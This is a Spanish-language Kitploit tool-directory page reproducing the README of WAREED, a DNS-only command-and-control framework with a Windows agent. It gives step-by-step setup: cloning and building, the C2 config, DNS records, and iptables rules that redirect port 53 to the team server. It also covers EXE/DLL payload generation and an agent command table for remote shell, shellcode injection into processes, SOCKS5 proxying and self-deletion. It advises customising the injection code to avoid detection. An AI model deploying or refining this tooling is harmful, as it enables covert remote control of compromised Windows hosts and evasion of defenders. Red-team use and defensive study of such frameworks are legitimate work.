Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
WAREED-DNS-C2 — Framework de comando y control exclusivo por DNS con agente para Windows, generación de payloads, ejecución remota de shell, inyección de shellcode y soporte de proxy SOCKS5 para operaciones encubiertas. | Kitploit
Herramientas/GitHubGitHub/faisal-p27/wareed-dns-c2
Generación de PayloadsEvasión de IDS/IPSPost-ExplotaciónComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubfaisal-p27/wareed-dns-c2

WAREED-DNS-C2

Framework de comando y control exclusivo por DNS con agente para Windows, generación de payloads, ejecución remota de shell, inyección de shellcode y soporte de proxy SOCKS5 para operaciones encubiertas.

Ver Repositorio
12634hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Wareed DNS C2

enter image description here

WAREED es un Comando y Control (C2) que utiliza el protocolo DNS para comunicaciones seguras entre el servidor y el objetivo. Diseñado para minimizar la comunicación y limitar el intercambio de datos, está pensado para ser un C2 de primera etapa que persista en máquinas que no tienen acceso a internet a través de HTTP/HTTPS, pero donde DNS está permitido.

desarrollado por : @Fsalabduljabbar

Cómo funciona

enter image description here

Por qué Wareed

Si bien muchos frameworks de Comando y Control (C2) admiten DNS como protocolo de transporte, están predominantemente diseñados para HTTP/HTTPS. Migrar estos frameworks a DNS a menudo resulta en operaciones más lentas y menos estables. Al enfrentar numerosos desafíos con la inestabilidad de estos frameworks para transacciones DNS, me vi obligado a crear una solución adaptada específicamente a DNS. El resultado es Wareed, un framework C2 exclusivo de DNS. Este enfoque especializado produce una operación más estable y eficiente, haciendo que Wareed sea más rápido y fiable en comparación con los frameworks C2 tradicionales que no están diseñados principalmente para DNS. Esto convierte a Wareed en una opción ideal para entornos donde el tráfico DNS está permitido pero HTTP/HTTPS está restringido.

Acerca de

Ha sido desarrollado utilizando tres lenguajes de programación:

  1. Hams Agent en C
  2. Wareed Team server en Golang
  3. Ather Client GUI en C++

Explicación de los nombres:

Hams (همس) significa "susurro" en árabe

Wareed (وريد) significa "vena" en árabe

Ather (أثر) significa "rastro" en árabe

Demo

IMAGE ALT TEXT HERE

Requisitos previos

  1. Un nombre de dominio válido y controlado
  2. Kali Linux 2023+ o Ubuntu 23+
  3. Un redirector (Ubuntu) para manejar las conexiones DNS (opcional)

Instalación

Paso 1: Clona el repositorio de Wareed:

root@kitploit:~
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git

Paso 2: Ejecuta el script de configuración:

root@kitploit:~
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup

Si el proceso de compilación se completa correctamente, se generarán dos archivos ejecutables en el mismo directorio:

  • WareedServer: Este archivo sirve como el ejecutable para el servidor de equipo
  • Ather: Este archivo es el ejecutable para el cliente GUI.

También comprobará el estado de compilación del Agent. Si es exitoso, confirma que el Agent está listo para ser desplegado y operativo, lo cual es crítico para la funcionalidad del Wareed C2.

Configuración

root@kitploit:~
{
    "magic_value": "cdn",
    "domains": ["2.example.net"],
    "listener_port": "111",
    "sleep": 5,
    "jitter": 50,
    "lookup_delay": 5,
    "default_dns_server": "1.1.1.1"
}
  • magic_value: Un identificador único utilizado por el C2.
  • domains: Una matriz de nombres de dominio utilizados por el C2 para las comunicaciones DNS.
  • listener_port: El número de puerto en el que el servidor de equipo DNS escucha las conexiones entrantes.
  • sleep: El retraso base entre solicitudes de tareas.
  • jitter: Un porcentaje que añade aleatoriedad a los intervalos de sleep para disfrazar los patrones de tráfico.
  • lookup_delay (deshabilitado): El retraso antes de realizar una búsqueda DNS para espaciar las consultas DNS y evitar la detección.
  • **default_dns_server **: El servidor DNS especificado para que lo use el Agent si el DNS local no responde.

magic_value: la longitud debe ser igual a 3.

Infraestructura DNS

Configuración de DNS: Para operar Wareed, es esencial poseer un nombre de dominio válido. Después de adquirir un dominio, se deben configurar dos registros DNS para que apunten hacia el Redirector:

  1. Registro A: Debe configurarse para que apunte a la dirección IP del Redirector.
  2. Registro NS: Debe apuntar al registro A que estableciste previamente.

example

Infraestructura

Configuración del Redirector: El redirector manejará el tráfico DNS entrante en el puerto 53 y lo redirigirá al servidor de equipo. Para lograrlo, ejecuta los siguientes comandos iptables en la máquina redirectora (R1):

Aceptar solicitudes DNS:
root@kitploit:~
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT

Este comando configura el firewall para aceptar paquetes UDP entrantes en el puerto 53, que es el puerto estándar para las solicitudes DNS.

Redirigir tráfico DNS:
root@kitploit:~
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]

Reemplaza [TeamServer IP] con la dirección IP real de tu servidor de equipo y [teamserver listener port] con el número de puerto en el que tu servidor de equipo está escuchando. Este comando dirige todo el tráfico que llega al puerto 53 hacia la dirección IP y el puerto especificados del servidor de equipo.

enter image description here

Ejecutar Wareed

Servidor de equipo Wareed

Para iniciar el servidor de equipo Wareed por primera vez, debes especificar el archivo de configuración junto con la contraseña del cliente y el puerto en el que el cliente escuchará. Usa el siguiente comando para ejecutar el servidor de equipo Wareed:

root@kitploit:~
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
  • [Client Password]: Reemplaza este marcador de posición con la contraseña que los clientes usarán para autenticarse con el servidor.
  • [Client Port Listener]: Reemplázalo con el número de puerto donde el servidor de equipo escuchará las conexiones entrantes del cliente.
  • [Path to configuration file]: Proporciona la ruta completa al archivo de configuración inicial. En ejecuciones posteriores, esta configuración se cargará desde la base de datos y no será necesario especificarla de nuevo.

Cliente GUI Ather

Para lanzar el cliente GUI Ather, simplemente

root@kitploit:~
./Ather

Al ejecutar el comando, aparecerá una nueva ventana con una página de inicio de sesión.

enter image description here

Detalles de inicio de sesión: En la página de inicio de sesión que aparece:

  • Username: Introduce el nombre de usuario.
  • Password: Introduce la contraseña correspondiente según lo configurado en la línea de comandos del servidor de equipo.
  • Port: Introduce el número de puerto en el que el servidor de equipo escucha conexiones, según lo configurado en la línea de comandos del servidor de equipo.
  • IPAddress: Introduce la dirección del servidor de equipo.

Ventana principal de Wareed: enter image description here

Generar nuevo payload

Para generar un nuevo payload con el cliente GUI Ather, sigue estos pasos:

  1. Navegar a la generación de payload:

    • Abre el cliente GUI.
    • Desde la barra de menú, navega a Payload > Generate > Windows. Al seleccionar esta opción se abrirá una nueva ventana diseñada para la generación de payloads.

enter image description here

  1. Seleccionar el tipo de payload: Wareed permite la generación de dos tipos de payloads: - EXE: Un formato de archivo ejecutable, sencillo para el despliegue. - DLL: Una biblioteca de vínculos dinámicos que puede utilizarse de diversas maneras. -

Opciones de payload DLL:

  1. Función de exportación: Crea una DLL con funciones específicas que activan la funcionalidad del agente al ser ejecutada.
  2. Adjunto de proceso: Produce una DLL que, al adjuntarse a un proceso, activa inmediatamente el payload.

Sesión

Después de generar un nuevo payload, una nueva sesión invitada se registra automáticamente con el servidor de equipo. Este proceso de registro garantiza que solo esta sesión específica pueda conectarse con el servidor de equipo. Utiliza un identificador único y un 'magic value' para autenticar y autorizar la sesión. Este mecanismo asegura una comunicación segura y controlada entre el payload recién generado y el servidor de equipo. enter image description here

Ejecutar payload

Después de ejecutar el payload en una máquina Windows, comenzará a generar consultas DNS para registrarse con el servidor de equipo. Este proceso de registro ocurre en cuestión de segundos y normalmente implica generar entre 3 y 5 consultas DNS. enter image description here

Interactuar

Para interactuar con una sesión, simplemente haz clic derecho en la sesión deseada y selecciona "Interact" en el menú contextual. Esta acción abrirá una nueva pestaña con una interfaz de terminal. En esta terminal, puedes ejecutar comandos enter image description here

Comandos

Nota: El comando inject es sencillo pero a menudo detectado por los controles de seguridad. Para mejorar el sigilo, deberías implementar tu propia técnica de inyección. Modifica el código de inyección en Agent/Source/Core/Tasks/Modules/Injection.c. Aquí tienes una plantilla básica para personalizar la función de inyección:

root@kitploit:~
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
	// Add your injection technique here.
	// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
	// and the process ID in [int ProcessID].
 }

Limpiar la base de datos

Para limpiar la base de datos, simplemente ejecuta el siguiente comando en tu terminal:

root@kitploit:~
./Run clean

Próximos pasos

Aunque no tengo planes inmediatos de seguir invirtiendo tiempo en el proyecto Wareed, ha sido un increíble viaje de aprendizaje y lo he disfrutado profundamente. Me complace anunciar que planeo lanzar un nuevo proyecto importante, THAWD BAS. Para más información, visita Thawd.io.

Si tienes habilidades de desarrollo y estás interesado en contribuir a Wareed, aquí tienes un par de oportunidades:

  1. Desarrollar un payload Stager usando DNS: Hay un proyecto increíble de @C5pider que proporciona una plantilla de shellcode que es un gran punto de partida. Echa un vistazo a Stardust en GitHub.
  2. Añadir un cargador COFF e integración: Integrar un cargador COFF (Common Object File Format) en el framework Wareed puede mejorar significativamente sus capacidades al permitir la carga dinámica y ejecución de módulos binarios, aumentando así la flexibilidad operativa. Para los desarrolladores que quieran implementar esta función, recursos como Sector7 ofrecen información valiosa sobre la funcionalidad de los cargadores COFF, y el proyecto de código abierto CoffeeLdr de @C5pider proporciona un ejemplo práctico de implementación.

Agradecimientos especiales

Este trabajo no podría haberse logrado sin la contribución de varios proyectos de código abierto excepcionales:

Havoc por - @C5pider

DNSStager por - @mohammadaskar2

Boomerang por - @NinjaParanoid

Socks5Server por earthquake

delete-self-poc por - @LloydLabs

Descargar herramienta
ComandoDescripciónUsoEjemplo
helpMuestra el mensaje de ayuda del comando especificado[command]help shell
sleepestablece el retraso de sleep con jitter[delay] [jitter]sleep 10 50
shellejecuta comandos de cmd.exe y obtiene la salida[commands]shell dir c:\windows\system32 (por favor no lo hagas)
injectinyecta shellcode en un proceso remoto[pid] [shellcode_path]inject 1234 /path/to/shellcode.bin
proxystartinicia un proxy SOCKS5[callback_host] [agent_connect_port] [proxy_listener_port]proxystart example.com 443 1080
proxystopdetiene un proxy SOCKS5[callback_host] [agent_connect_port] [proxy_listener_port]proxystop example.com 443 1080
adddomainañade un nuevo dominio de callback[domain_name]adddomain example.com
deldomainelimina un dominio de callback[domain_name]deldomain example.com
listdomainlista todos los dominios de callback activoslistdomain
killTermina el proceso actual.[yes]kill yes
wipeTermina y elimina el proceso actual.[yes]wipe yes
selfdelElimina el proceso actual del disco.[yes]selfdel yes
tasklistLista todas las tareas en colatasklist
taskdelElimina una tarea específica por ID[task id]taskdel 123
taskscleanElimina todas las tareas de la cola[yes]tasksclean yes
clearlimpia la pantalla de la terminalclear